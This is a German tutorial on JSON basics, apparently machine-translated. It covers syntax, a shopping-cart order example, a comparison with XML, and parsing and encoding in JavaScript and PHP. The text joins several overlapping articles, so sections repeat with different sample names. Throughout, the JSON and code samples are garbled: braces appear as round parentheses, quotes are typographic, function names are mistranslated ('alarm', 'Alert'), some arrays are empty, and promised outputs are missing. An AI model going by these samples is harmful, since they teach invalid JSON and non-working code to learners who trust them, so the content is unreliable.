JSON-Sprache. JSON: Grundlagen

Sicher haben Sie schon einmal von JSON gehört. Was ist es? Was kann es und wie nutzt man es?

In diesem Tutorial werden wir die Grundlagen von JSON behandeln und die folgenden Punkte behandeln:

  • Was ist JSON?
  • Wofür wird JSON verwendet?
  • Wie erstelle ich einen JSON-String?
  • Ein einfaches Beispiel für eine JSON-Zeichenfolge.
  • Vergleichen wir JSON und XML.
  • Wie arbeite ich mit JSON in JavaScript und PHP?
Was ist JSON?

JSON ist eine einfache, textbasierte Möglichkeit, strukturierte Daten zu speichern und zu übertragen. Mit einer einfachen Syntax können Sie alles von einer einzelnen Zahl bis hin zu Zeichenfolgen, Arrays und Objekten problemlos im Klartext speichern. Sie können auch Arrays und Objekte miteinander verknüpfen, um komplexe Datenstrukturen zu erstellen.

Sobald die JSON-Zeichenfolge erstellt wurde, kann sie einfach an eine andere Anwendung oder an einen anderen Ort im Netzwerk gesendet werden, da es sich um einfachen Text handelt.

JSON bietet folgende Vorteile:

  • Es ist kompakt.
  • Die Sätze sind sowohl für Menschen als auch für Computer leicht zu lesen und zu verfassen.
  • Es kann problemlos in eine Datenstruktur für die meisten Programmiersprachen (Zahlen, Zeichenfolgen, Boolesche Werte, Arrays usw.) konvertiert werden.
  • Viele Programmiersprachen verfügen über Funktionen und Bibliotheken zum Lesen und Erstellen von JSON-Strukturen.

Der Name JSON steht für JavaScript Object Notation. Wie der Name schon sagt, basiert es auf einer Methode zum Definieren von Objekten (ähnlich wie beim Erstellen assoziativer Arrays in anderen Sprachen) und Arrays.

Wofür wird JSON verwendet?

Die häufigste Verwendung von JSON besteht darin, Daten vom Server an den Browser zu senden. In der Regel werden JSON-Daten mithilfe von AJAX bereitgestellt, sodass Browser und Server kommunizieren können, ohne dass die Seite neu geladen werden muss.

  • Der Benutzer klickt auf die Miniaturansicht eines Produkts in einem Online-Shop.
  • JavaScript, das im Browser ausgeführt wird, generiert eine AJAX-Anfrage an das PHP-Skript, das auf dem Server ausgeführt wird, und übergibt die ID des ausgewählten Produkts.
  • Das PHP-Skript holt den Produktnamen, die Beschreibung, den Preis und andere Informationen aus der Datenbank. Anschließend erstellt es aus den Daten einen JSON-String und sendet ihn an den Browser.
  • Im Browser ausgeführtes JavaScript empfängt den JSON-String, dekodiert ihn und zeigt dem Benutzer die Produktinformationen auf der Seite an.
  • Sie können JSON auch verwenden, um Daten vom Browser an den Server zu senden, indem Sie eine JSON-Zeichenfolge als Parameter an GET- oder POST-Anfragen übergeben. Diese Methode ist jedoch weniger verbreitet, da die Datenübertragung durch AJAX-Anfragen vereinfacht werden kann. Beispielsweise kann die Produkt-ID im Rahmen einer GET-Anfrage in die URL eingefügt werden.

    Die jQuery-Bibliothek verfügt über mehrere Methoden, wie z. B. getJSON() und parseJSON(), die das Abrufen von Daten mithilfe von JSON über AJAX-Anfragen vereinfachen.

    Wie erstelle ich einen JSON-String?

    Für die Erstellung eines JSON-Strings gibt es einige Grundregeln:

    • Der JSON-String enthält entweder ein Array von Werten oder ein Objekt (ein assoziatives Array von Name/Wert-Paaren).
    • Array wird in eckige Klammern ([ und ]) eingeschlossen und enthält eine durch Kommas getrennte Liste von Werten.
    • Ein Objekt wird in geschweifte Klammern (( und )) eingeschlossen und enthält eine durch Kommas getrennte Liste von Name/Wert-Paaren.
    • Name/Wert-Paar besteht aus dem in doppelte Anführungszeichen eingeschlossenen Feldnamen, gefolgt von einem Doppelpunkt (:) und dem Feldwert.
    • Bedeutung In einem Array oder Objekt kann es sein:
      • Zahl (Ganzzahl oder Gleitkomma)
      • String (in doppelten Anführungszeichen)
      • Boolescher Wert (wahr oder falsch)
      • Ein weiteres Array (in eckigen Klammern eingeschlossen)
      • Ein anderes Objekt (in geschweiften Klammern eingeschlossen)
      • Nullwert

    Um doppelte Anführungszeichen in eine Zeichenfolge einzufügen, müssen Sie einen Backslash verwenden: \" . Wie bei vielen Programmiersprachen können Sie Steuerzeichen und Hexadezimalcodes in eine Zeichenfolge einfügen, indem Sie ihnen einen Backslash voranstellen. Weitere Informationen finden Sie auf der JSON-Website.

    Einfaches JSON-String-Beispiel

    Nachfolgend finden Sie ein Beispiel für eine Bestellung im JSON-Format:

    ("orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email protected]", "contents": [ ("productID": 34, "productName": "Superprodukt", "quantity": 1 ), ("productID": 56, "productName": "Wunderprodukt", "quantity": 3 ) ], „orderCompleted“: true )

    Schauen wir uns die Zeile im Detail an:

    • Wir erstellen ein Objekt mit geschweiften Klammern (( und )).
    • Das Objekt verfügt über mehrere Name/Wert-Paare: „orderID“: 12345 Eine Eigenschaft mit dem Namen „orderId“ und einem ganzzahligen Wert. 12345 „shopperName“: „Vanya Ivanov“ eine Eigenschaft mit dem Namen „shopperName“ und dem Zeichenfolgenwert „Vanya Ivanov " "shopperEmail": " [email protected]„Eine Eigenschaft namens „shopperEmail“ mit einem Zeichenfolgenwert „ [email protected]„ „contents“: [ ... ] Eine Eigenschaft namens „contents“, deren Wert ein Array „orderCompleted“ ist: true Eine Eigenschaft namens „orderCompleted“ und der boolesche Wert true
    • Es gibt zwei Objekte im Array „contents“, die einzelne Elemente in der Bestellung darstellen. Jedes Objekt enthält drei Eigenschaften: ProductID, ProductName und Quantity.

    Da JSON übrigens auf der Deklaration von JavaScript-Objekten basiert, können Sie den obigen JSON-String schnell und einfach in ein JavaScript-Objekt umwandeln:

    var cart = ("orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email protected]", "contents": [ ("productID": 34, "productName": "Superprodukt", "quantity": 1 ), ("productID": 56, "productName": "Wunderprodukt", "quantity": 3 ) ], "orderCompleted": true );

    Vergleich von JSON und XML

    In vielerlei Hinsicht kann man sich JSON als Alternative zu XML vorstellen, zumindest im Webanwendungsbereich. Das Konzept von AJAX basierte ursprünglich auf der Verwendung von XML zur Datenübertragung zwischen dem Server und dem Browser. Doch in den letzten Jahren ist JSON für den Transport von AJAX-Daten immer beliebter geworden.

    Während XML eine bewährte Technologie ist, die in einer ganzen Reihe von Anwendungen verwendet wird, hat JSON den Vorteil, dass es ein kompakteres und leichter erkennbares Datenformat ist.

    So würde das obige Beispielobjekt in XML aussehen:

    Bestell-ID 12345 Name des Käufers Vanya Ivanov E-Mail des Käufers [email protected] Inhalt Produkt-ID 34 Produktname Superprodukt Menge 1 Produkt-ID 56 Produktname Wunderprodukt Menge 3 orderCompleted wahr

    Die XML-Version ist deutlich größer. In Wirklichkeit ist es 1128 Zeichen lang, während die JSON-Version nur 323 Zeichen lang ist. Auch die XML-Version ist recht schwer zu verstehen.

    Das ist natürlich ein radikales Beispiel. Und es ist möglich, einen kompakteren XML-Datensatz zu erstellen. Aber selbst es wird deutlich länger sein als das JSON-Äquivalent.

    Arbeiten mit einem JSON-String in JavaScript

    JSON hat ein einfaches Format, aber das manuelle Erstellen einer JSON-Zeichenfolge ist ziemlich mühsam. Darüber hinaus müssen Sie häufig einen JSON-String nehmen und seinen Inhalt in eine Variable konvertieren, die im Code verwendet werden kann.

    Die meisten Programmiersprachen verfügen über Tools zum einfachen Konvertieren von Variablen in JSON-Strings und umgekehrt.

    Erstellen einer JSON-Zeichenfolge aus einer Variablen

    JavaScript verfügt über eine integrierte JSON.stringify()-Methode, die eine Variable entgegennimmt und einen JSON-String zurückgibt, der ihren Inhalt darstellt. Erstellen wir beispielsweise ein JavaScript-Objekt, das die Bestellinformationen aus unserem Beispiel enthält, und erstellen daraus dann einen JSON-String:

    var cart = ("orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email protected]", "contents": [ ("productID": 34, "productName": "Superprodukt", "quantity": 1 ), ("productID": 56, "productName": "Wunderprodukt", "quantity": 3 ) ], "orderCompleted": true ); Alert (JSON.stringify(cart));

    Dieser Code erzeugt:

    Beachten Sie, dass die Methode JSON.stringify() einen JSON-String ohne Leerzeichen zurückgibt. Es ist schwieriger zu lesen, aber kompakter für die Übertragung über das Netzwerk.

    Es gibt mehrere Möglichkeiten, einen JSON-String in JavaScript zu analysieren, aber die sicherste und zuverlässigste ist die Verwendung der integrierten Methode JSON.parse(). Es empfängt einen JSON-String und gibt ein JavaScript-Objekt oder -Array zurück, das die Daten enthält. Zum Beispiel:

    var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "Vanya Ivanov", \ "shopperEmail": " [email protected]", \ "contents": [ \ ( \ "productID": 34, \ "productName": "Superprodukt", \ "quantity": 1 \), \ ( \ "productID": 56, \ "productName": "Wundergüter", \"quantity": 3\ ) \ ], \"orderCompleted": true \ ) \"; var cart = JSON.parse(jsonString); Alert(cart.shopperEmail); Alert(cart.contents.productName);

    Wir haben eine jsonString-Variable erstellt, die den JSON-String unserer Beispielbestellung enthält. Anschließend übergeben wir diese Zeichenfolge an die Methode JSON.parse(), die ein Objekt mit den JSON-Daten erstellt und in der Variablen „cart“ speichert. Jetzt müssen Sie nur noch die Eigenschaften des ShopperEmail-Objekts und den Produktnamen des Contents-Arrays überprüfen.

    Als Ergebnis erhalten wir die folgende Ausgabe:

    In einer realen Anwendung würde Ihr JavaScript-Code den Auftrag als JSON-String in einer AJAX-Antwort vom Serverskript empfangen, den String an die JSON.parse()-Methode übergeben und die Daten dann verwenden, um ihn auf der Seite des Benutzers anzuzeigen.

    JSON.stringify() und JSON.parse() verfügen über weitere Funktionen, z. B. die Verwendung von Rückruffunktionen zur benutzerdefinierten Konvertierung bestimmter Daten. Solche Optionen sind sehr nützlich, um verschiedene Daten in richtige JavaScript-Objekte umzuwandeln.

    Arbeiten mit einem JSON-String in PHP

    PHP verfügt wie JavaScript über integrierte Funktionen zum Arbeiten mit JSON-Strings.

    Erstellen einer JSON-Zeichenfolge aus einer PHP-Variablen

    Die Funktion json_encode() nimmt eine PHP-Variable und gibt einen JSON-String zurück, der den Inhalt der Variablen darstellt. Hier ist unser Bestellbeispiel, geschrieben in PHP:

    Dieser Code gibt genau denselben JSON-String zurück wie im JavaScript-Beispiel:

    („orderID“:12345, „shopperName“: „Vanya Ivanov“, „shopperEmail“: [email protected]","contents":[("productID":34,"productName":"Superprodukt","quantity":1),("productID":56,"productName":"Wunderprodukt","quantity": 3)],"orderCompleted":true)

    In einer realen Anwendung sendet Ihr PHP-Skript diesen JSON-String als Teil einer AJAX-Antwort an den Browser, wo der JavaScript-Code ihn mithilfe der JSON.parse()-Methode wieder in eine Variable zur Anzeige auf der Seite des Benutzers analysiert .

    Sie können verschiedene Flags als zweites Argument an die Funktion json_encode() übergeben. Mit ihrer Hilfe können Sie die Prinzipien der Kodierung des Inhalts von Variablen in einen JSON-String ändern.

    Erstellen Sie eine Variable aus einem JSON-String

    Um einen JSON-String in eine PHP-Variable zu konvertieren, verwenden Sie die Methode json_decode(). Ersetzen wir unser Beispiel für JavaScript durch die Methode JSON.parse() mit PHP-Code:

    Wie bei JavaScript erzeugt dieser Code Folgendes:

    [email protected] Wunderprodukt

    Standardmäßig gibt die Funktion json_decode() JSON-Objekte als PHP-Objekte zurück. Es gibt generische PHP-Objekte der Klasse stdClass. Deshalb verwenden wir ->, um auf die Eigenschaften des Objekts im obigen Beispiel zuzugreifen.

    Wenn Sie ein JSON-Objekt als zugehöriges PHP-Array benötigen, müssen Sie true als zweites Argument an die Funktion json_decode() übergeben. Zum Beispiel:

    $cart = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
    "; echo $cart["contents"]["productName"] . "
    ";

    Dieser Code erzeugt die gleiche Ausgabe:

    [email protected] Wunderprodukt

    Sie können der Funktion json_decode() auch andere Argumente übergeben, um die Rekursionstiefe und den Umgang mit großen Ganzzahlen anzugeben.

    Abschluss

    Obwohl JSON leicht zu verstehen und zu verwenden ist, ist es ein sehr nützliches und flexibles Werkzeug für die Datenübertragung zwischen Anwendungen und Computern, insbesondere bei Verwendung von AJAX. Wenn Sie planen, eine AJAX-Anwendung zu entwickeln, besteht kein Zweifel daran, dass JSON zu einem unverzichtbaren Werkzeug in Ihrer Werkstatt wird.

    Was ist JSON und was kann es? In diesem Artikel erfahren Sie, wie Sie mit JSON einfach mit Daten arbeiten können. Wir werden uns auch mit der Arbeit mit JSON unter Verwendung von PHP und JavaScript befassen.

    Wenn Sie Websites oder Webanwendungen im Allgemeinen entwickelt haben, ist die Wahrscheinlichkeit groß, dass Sie zumindest nebenbei schon einmal von JSON gehört haben. Aber was genau bedeutet JSON? Was kann dieses Datenformat und wie kann es genutzt werden?

    In diesem Artikel lernen wir die Grundlagen der Arbeit mit dem JSON-Format kennen. Wir werden folgende Themen verfolgen:

    • Was ist das JSON-Format?
    • Wie erstelle ich JSON-Strings?
    • Einfaches Beispiel für JSON-Daten
    • Vergleich von JSON mit XML

    Lasst uns beginnen!

    Was ist das JSON-Format?

    JSON ist eine einfache, textbasierte Möglichkeit, strukturierte Daten zu speichern und zu übertragen. Mit einer einfachen Syntax können Sie sowohl einfache Zahlen und Zeichenfolgen als auch Arrays und Objekte problemlos speichern, indem Sie nur Text verwenden. Sie können auch Objekte und Arrays verknüpfen und so komplexe Datenstrukturen erstellen.

    Sobald die JSON-Zeichenfolge erstellt ist, kann sie problemlos an jede Anwendung oder jeden Computer gesendet werden, da es sich nur um Text handelt.

    JSON hat viele Vorteile:

    • Es ist kompakt
    • Es ist für Menschen lesbar und für Computer leicht lesbar
    • Es kann problemlos in Softwareformate konvertiert werden: numerische Werte, Zeichenfolgen, boolesches Format, Nullwert, Arrays und assoziative Arrays.
    • Fast alle Programmiersprachen verfügen über Funktionen, mit denen Sie JSON-Datenformate lesen und erstellen können.

    Wörtlich übersetzt steht die Abkürzung JSON für JavaScript Object Notation. Wie bereits beschrieben, basiert dieses Format auf der Erstellung von Objekten, ähnlich wie assoziative Arrays in anderen Programmiersprachen.

    Für welche Zwecke wird JSON verwendet?

    JSON wird vor allem zum Datenaustausch zwischen Javascript und der Serverseite (PHP) verwendet. Mit anderen Worten, für die Ajax-Technologie. Dies ist sehr praktisch, wenn Sie mehrere Variablen oder ganze Datenarrays übergeben.

    So sieht es in einem Beispiel aus:

  • Der Benutzer klickt auf das Miniaturbild
  • JavaScript verarbeitet dieses Ereignis und sendet eine Ajax-Anfrage an das PHP-Skript und übergibt dabei die Bild-ID.
  • Auf dem Server erhält PHP die Beschreibung des Bildes, den Namen des Bildes, die Adresse zum großen Bild und weitere Informationen aus der Datenbank. Nach dem Empfang konvertiert es es in das JSON-Format und sendet es an die Seite des Benutzers zurück.
  • JavaScript empfängt die Antwort in Form von JSON, verarbeitet die Daten, generiert HTML-Code und zeigt ein vergrößertes Bild mit einer Beschreibung und anderen Informationen an.
  • So wird das Bild vergrößert, ohne dass die Seite im Browser neu geladen werden muss. Dies ist sehr praktisch, wenn wir Teildaten empfangen oder eine kleine Informationsmenge an den Server übertragen müssen.

    Jedermanns Lieblings-jQuery verfügt über die Funktionen getJSON() und parseJSON(), die Ihnen bei der Arbeit mit dem Format über Ajax-Anfragen helfen.

    Wie erstelle ich JSON-Strings?


    Nachfolgend finden Sie die Grundregeln zum Erstellen von JSON-Strings:

    • Der JSON-String enthält sowohl ein Wertearray als auch ein Objekt (ein assoziatives Array mit Name/Wert-Paaren).
    • Das Array muss in eckige Klammern [ und ] eingeschlossen werden und kann eine Liste von Werten enthalten, die durch ein Komma getrennt sind.
    • Objekte werden mit geschweiften Armen ( und ) umschlossen und enthalten außerdem durch Kommas getrennte Name/Wert-Paare.
    • Name/Wert-Paare bestehen aus dem Feldnamen (in doppelten Anführungszeichen), gefolgt von einem Doppelpunkt (:) und dem Wert des Felds.
    • Die Werte in einem Array oder Objekt können sein:
      • Numerisch (Ganzzahl oder Punktbruch)
      • Zeichenfolgen (in doppelte Anführungszeichen eingeschlossen)
      • Boolescher Wert (wahr oder falsch)
      • Andere Arrays (in eckige Klammern [ und ] eingeschlossen)
      • Andere Gegenstände (in geschweifte Arme gehüllt ( und ))
      • Nullwert

    Wichtig! Wenn Sie doppelte Anführungszeichen in Werten verwenden, maskieren Sie diese mit einem Backslash: \". Sie können auch hexadezimal kodierte Zeichen verwenden, genau wie Sie es in anderen Programmiersprachen tun.

    Einfaches Beispiel für JSON-Daten

    Das folgende Beispiel zeigt, wie Sie Daten im „Warenkorb“ eines Online-Shops im JSON-Format speichern können:

    („orderID“: 12345, „shopperName“: „John Smith“, „shopperEmail“: „ [email protected]", "contents": [ ("productID": 34, "productName": "SuperWidget", "quantity": 1 ), ("productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], „orderCompleted“: true )

    Lassen Sie uns diese Daten Stück für Stück aufschlüsseln:

  • Am Anfang und am Ende verwenden wir geschweifte Arme ( und ), um deutlich zu machen, dass es sich um ein Objekt handelt.
  • Innerhalb des Objekts haben wir mehrere Name/Wert-Paare:
  • „orderID“: 12345 – Feld mit dem Namen „orderId“ und dem Wert 12345
  • „shopperName“: „John Smith“ – Feld mit dem Namen shopperName und Wert John Smith
  • „shopperEmail“: „johnsmith@ example.com“ – ähnlich wie im vorherigen Feld wird hier die E-Mail-Adresse des Käufers gespeichert.
  • „contents“: [ ... ] – ein Feld mit dem Namen „content“, dessen Wert ein Array ist.
  • „orderCompleted“: true – ein Feld namens orderCompleted, dessen Wert true ist
  • Innerhalb des Inhaltsarrays haben wir zwei Objekte, die den Inhalt des Warenkorbs anzeigen. Jedes Produktobjekt verfügt über drei Eigenschaften: Produkt-ID, Produktname und Menge.
  • Da JSON schließlich mit Objekten in JavaScript identisch ist, können Sie dieses Beispiel ganz einfach nehmen und daraus ein JavaScript-Objekt erstellen:

    var cart = ("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [email protected]", "contents": [ ("productID": 34, "productName": "SuperWidget", "quantity": 1 ), ("productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], „orderCompleted“: true );

    Vergleich von JSON mit XML

    In den meisten Fällen werden Sie sich JSON als Alternative zu XML vorstellen – zumindest innerhalb von Webanwendungen. Das Konzept von Ajax nutzt ursprünglich XML zum Datenaustausch zwischen dem Server und dem Browser, doch in den letzten Jahren ist JSON für die Übertragung von Ajax-Daten immer beliebter geworden.

    Obwohl XML eine bewährte Technologie ist, die von vielen Anwendungen verwendet wird, liegen die Vorteile des JSON-Formats darin, dass es kompakter und einfacher zu schreiben und zu lesen ist.

    Hier ist das obige JSON-Beispiel, nur im XML-Format umgeschrieben:

    orderID 12345 shopperName John Smith shopperEmail [email protected] Inhalt Produkt-ID 34 Produktname SuperWidget Menge 1 Produkt-ID 56 Produktname WonderWidget Menge 3 orderCompleted wahr

    Wie Sie sehen, ist es um ein Vielfaches länger als JSON. Tatsächlich ist dieses Beispiel 1128 Zeichen lang, während die JSON-Version nur 323 Zeichen umfasst. Die XML-Version ist außerdem schwieriger zu lesen.

    Natürlich kann man nicht nur anhand eines Beispiels urteilen, aber selbst kleine Informationsmengen nehmen im JSON-Format weniger Platz ein als in XML.

    Wie arbeite ich mit JSON über PHP und JS?

    Nun kommen wir zum interessantesten Teil – der praktischen Seite des JSON-Formats. Lassen Sie uns zunächst JavaScript würdigen und dann sehen, wie Sie JSON über PHP manipulieren können.

    Erstellen und Lesen des JSON-Formats mit JavaScript


    Obwohl das JSON-Format einfach ist, ist es schwierig, bei der Entwicklung von Webanwendungen manuell zu schreiben. Darüber hinaus müssen Sie häufig JSON-Strings in Variablen konvertieren und diese dann in Ihrem Code verwenden.

    Glücklicherweise bieten viele Programmiersprachen Tools für die Arbeit mit JSON-Strings. Die Hauptidee davon:

    Um JSON-Strings zu erstellen, beginnen Sie mit Variablen, die einige Werte enthalten, und übergeben sie dann durch eine Funktion, die die Daten in einen JSON-String umwandelt.

    Beim Lesen von JSON-Strings beginnen Sie mit einem JSON-String, der bestimmte Daten enthält, und übergeben den String durch eine Funktion, die Variablen mit den Daten erstellt.

    Sehen wir uns an, wie das in JavaScript gemacht wird.

    Erstellen einer JSON-Zeichenfolge aus einer JavaScript-Variablen

    JavaScript verfügt über eine integrierte Methode, JSON.stringify(), die eine Javascript-Variable entgegennimmt und einen JSON-String zurückgibt, der den Inhalt der Variablen darstellt. Lassen Sie uns beispielsweise ein zuvor erstelltes Objekt verwenden und es in einen JSON-String konvertieren.

    var cart = ("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [email protected]", "contents": [ ("productID": 34, "productName": "SuperWidget", "quantity": 1 ), ("productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], „orderCompleted“: true );

    Folgendes wird auf dem Bildschirm angezeigt:

    („orderID“:12345, „shopperName“: „John Smith“, „shopperEmail“: „ [email protected]", "Inhalte":[("ProduktID":34,"ProduktName":SuperWidget",Menge":1), ("ProduktID":56,"ProduktName":WonderWidget",Menge":3) ], „orderCompleted“:true)

    Beachten Sie, dass JSON.stringify() JSON-Strings ohne Leerzeichen ausgibt. Es ist schwer zu lesen, aber kompakter, was beim Senden von Daten wichtig ist.

    Erstellen einer JavaScript-Variablen aus einem JSON-String

    Es gibt mehrere Möglichkeiten, JSON-Strings zu analysieren. Die akzeptabelste und sicherste Methode ist die Verwendung der Methode JSON.parse(). Es nimmt eine JSON-Zeichenfolge und gibt ein JavaScript-Objekt oder -Array zurück, das die JSON-Daten enthält. Hier ist ein Beispiel:

    var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "John Smith", \ "shopperEmail": " [email protected]", \ "contents": [ \ ( \ "productID": 34, \ "productName": "SuperWidget", \ "quantity": 1 \), \ ( \ "productID": 56, \ "productName": " WonderWidget", \ "quantity": 3 \ ) \ ], \ "orderCompleted": true \ ) \ "; var cart = JSON.parse(jsonString); Alert(cart.shopperEmail); Alert(cart.contents.productName);

    Hier haben wir eine Variable namens „jsonString“ erstellt, die den JSON-String aus den zuvor bereitgestellten Beispielen enthält. Dann haben wir diese Zeichenfolge über JSON.parse() übergeben, um ein Objekt mit JSON-Daten zu erstellen, die in der Variablen „cart“ gespeichert wurden. Abschließend prüfen wir die Datenverfügbarkeit und zeigen einige Informationen mithilfe des modalen Alarmfensters an.

    Folgende Informationen werden angezeigt:

    In einer echten Webanwendung sollte Ihr JavaScript-Code eine JSON-Zeichenfolge als Antwort vom Server erhalten (nach dem Senden einer AJAX-Anfrage), die Zeichenfolge dann analysieren und dem Benutzer den Inhalt des Warenkorbs anzeigen.

    Erstellen und Lesen des JSON-Formats mit PHP

    PHP verfügt wie JavaScript über Funktionen, mit denen Sie Variablen in das JSON-Format konvertieren können und umgekehrt. Schauen wir sie uns an.

    Erstellen einer JSON-Zeichenfolge aus einer PHP-Variablen

    Json_encode() nimmt eine PHP-Variable und gibt einen JSON-String zurück, der die Daten der Variablen darstellt. Hier ist unser Beispiel eines in PHP geschriebenen „Warenkorbs“:

    Dieser Code erzeugt genau das gleiche Ergebnis wie das JavaScript-Beispiel – eine gültige JSON-Zeichenfolge, die den Inhalt der Variablen darstellt:

    („orderID“:12345, „shopperName“: „John Smith“, „shopperEmail“: „ [email protected]","Inhalte":[("ProduktID":34,"ProduktName":SuperWidget",Menge":1,("ProduktID":56,"ProduktName":WonderWidget",Menge":3) ],"orderCompleted":true)

    In Wirklichkeit sollte Ihr PHP-Skript einen JSON-String als Antwort auf eine AJAX-Anfrage senden, wobei JavaScript JSON.parse() verwendet, um den String in Variablen umzuwandeln.

    In der Funktion json_encode() können Sie zusätzliche Parameter angeben, mit denen Sie einige Zeichen in Hex umwandeln können.

    Erstellen einer PHP-Variable aus einem JSON-String

    Ähnlich wie oben gibt es eine json_decode()-Funktion, mit der Sie JSON-Strings dekodieren und den Inhalt in Variablen einfügen können.

    Wie bei JavaScript gibt dieser Code Folgendes aus:

    [email protected] WonderWidget

    Standardmäßig gibt json_decode() JSON-Objekte als PHP-Objekte zurück. Ähnlich wie bei der regulären Syntax verwenden wir ->, um auf die Eigenschaften eines Objekts zuzugreifen.

    Wenn Sie die Daten später als assoziatives Array verwenden möchten, übergeben Sie einfach den zweiten Parameter true an die Funktion json_decode(). Hier ist ein Beispiel:

    $cart = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
    "; echo $cart["contents"]["productName"] . "
    ";

    Dies führt zum gleichen Ergebnis:

    [email protected] WonderWidget

    Sie können der Funktion json_decode() auch zusätzliche Argumente übergeben, um die Verarbeitung großer Zahlen und die Rekursion zu bestimmen.

    Fazit zum JSON-Format

    Wenn Sie eine Webanwendung mit Ajax-Technologie erstellen möchten, werden Sie sicherlich das JSON-Format für den Datenaustausch zwischen Server und Browser verwenden.


    JSON ist ein Textformat zum Aufzeichnen von Daten. Damit können Sie sowohl eine einzelne Zahl oder Zeichenfolge als auch komplexe Strukturen, beispielsweise Arrays mit Daten, in Textform darstellen. Die Verwendung dieses Aufzeichnungsformats ist komfortabel, da es lesbar und intuitiv ist und gleichzeitig die Speicherung sehr komplexer Datenstrukturen ermöglicht. Darüber hinaus ist es kompakter als XML und daher meiner Meinung nach besser für den Datenaustausch zwischen einem Webbrowser und einem Server geeignet.

    JSON-Syntax mit Beispielen

    Das JSON-Format wird normalerweise in 2 Varianten geschrieben:

    1. Wertefolge. Die Sequenz 10, 15 und „test“ im JSON-Format würde beispielsweise so aussehen:

    2. Aufzeichnung in Form von Schlüssel:Wert-Paaren. Zum Beispiel:

    („Vollständiger Name“: „Ivanov Sergey“, „Geburtsdatum“: „09.03.1975“)

    Ein etwas komplexeres Beispiel:

    („Vollständiger Name“: „Ivanov Sergey“, „Adresse“: („Stadt“: „Moskau“, „Straße“: „Pyatnitskaya“, „Haus“: „35“) )

    PHP-Funktionen zum Arbeiten mit dem JSON-Format

    In PHP-Sprache seit Version 5.2. Es gibt nur 4 Funktionen:

    • json_decode – Dekodiert einen JSON-String (ruft Daten aus einem JSON-Format-String ab)
    • json_encode – Gibt eine JSON-Darstellung der Daten zurück (konvertiert die Daten in einen JSON-String)
    • json_last_error_msg – Gibt eine Zeichenfolge zurück, die die Fehlermeldung des letzten Aufrufs von json_encode() oder json_decode() angibt.
    • json_last_error – Gibt den letzten Fehler zurück

    Grundsätzlich werden größtenteils nur zwei Funktionen verwendet: json_encode und json_decode. Ich werde nicht auf Einzelheiten ihrer Syntax eingehen. Weitere Einzelheiten finden Sie auf php.net. Anwendungsbeispiel:

    $arr1 = array(0,1,2); $json_str = json_encode($arr1); echo $json_str; // gibt einen JSON-String aus: $arr2 = json_decode($json_str); echo $arr2; // gibt aus: 1

    Bitte beachten Sie: Beim Kodieren von Daten in Russisch in das JSON-Format konvertiert die Funktion json_encode russische Zeichen in Unicode, d. h. ersetzt sie durch \uXXXX und somit wird der JSON-String für Menschen unlesbar (aber für den Browser verständlich). Wenn Sie die Konvertierung in Unicode vermeiden möchten (z. B. beim Debuggen von Code), können Sie einfach die Option JSON_UNESCAPED_UNICODE verwenden.

    Damit beim Codieren keine Escape-Schrägstriche hinzugefügt werden und Zeichenfolgen mit Zahlen als Zahlen codiert werden, können Sie außerdem JSON_UNESCAPED_SLASHES und JSON_NUMERIC_CHECK verwenden. Um die JSON-Zeichenfolge für Menschen lesbar zu machen, gehen wir daher beispielsweise wie folgt vor:

    $arr = array("fio" => "Ivanov Sergey", "age" => "32", "vk_url" => "https://vk.com/id11111"); echo json_encode($arr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

    Ohne diese Optionen würde die Zeile so aussehen:

    ( "fio" : "\u0418\u0432\u0430\u043d\u043e\u0432 \u0421\u0435\u0440\u0433\u0435\u0439", "age" : "32", "vk_url": "https:\/\ /vk.com\/id11111" )

    und mit den Optionen erhalten wir eine lesbare Zeile:

    („fio“: „Ivanov Sergey“, „age“: 32, „vk_url“: „https://vk.com/id11111“)

    Noch ein Punkt: Wenn Sie möchten, dass die Funktion json_decode beim Dekodieren eines JSON-Strings ein Array zurückgibt, fügen Sie der Funktion einfach einen zweiten Parameter hinzu, der true entspricht.

    $json_str = "( "a":1, "b":2, "c":3 )"; $obj = json_decode($json_str); // Objekt abrufen echo $obj->a; // gibt 1 aus $arr = json_decode($json_str, true); // ein assoziatives Array abrufen echo $arr["a"]; // gibt 1 aus

    Damit ist meine Überprüfung der PHP-Funktionen abgeschlossen.

    JavaScript-Funktionen zum Arbeiten mit dem JSON-Format

    Beginnen wir mit der Tatsache, dass das JSON-Format ursprünglich für die JavaScript-Sprache erfunden wurde und dann einfach zu einem separaten Textformat wurde, das in verschiedenen Sprachen verwendet wird. Anscheinend ist die JSON-Syntax deshalb der Syntax zum Schreiben gewöhnlicher Objekte und Arrays sehr ähnlich.

    // Beispiel eines Arrays in JavaScript arr = ; alarm(arr); // wird 1 anzeigen // Beispiel eines Objekts in JavaScript obj = ( "name": "Vasya", "age": 35, "isAdmin": false ) warning(obj.name); // wird „Vasya“ drucken

    JavaScript-Funktionen zum Konvertieren in und aus dem JSON-Format:

    • JSON.parse – Dekodierung eines JSON-Strings (Konvertieren eines Strings in Objekte und/oder Arrays)
    • JSON.stringify – gibt eine JSON-Darstellung von Daten zurück (Konvertierung von Objekten und/oder Arrays in einen JSON-String)

    Ein einfaches Beispiel für die Dekodierung eines JSON-Strings in ein Array mit Zahlen:

    Str = ""; arr = JSON.parse(str); alarm(arr); // gibt 1 aus

    Ein Beispiel für die Konvertierung (Serialisierung) eines Objekts in einen JSON-String:

    Obj = ( "name": "Vasya", "age": 35, "isAdmin": false ) alarm(JSON.stringify(obj)); // wird angezeigt („name“: „Vasya“, „age“:35, „isAdmin“:false)

    Beim Serialisieren (Konvertieren) eines Objekts in einen JSON-String wird die toJSON-Methode dieses Objekts aufgerufen, sofern vorhanden. Wenn keine Methode vorhanden ist, werden alle Eigenschaften des Objekts aufgelistet. Ein Beispiel für die Konvertierung eines Objekts mit der toJSON-Methode:

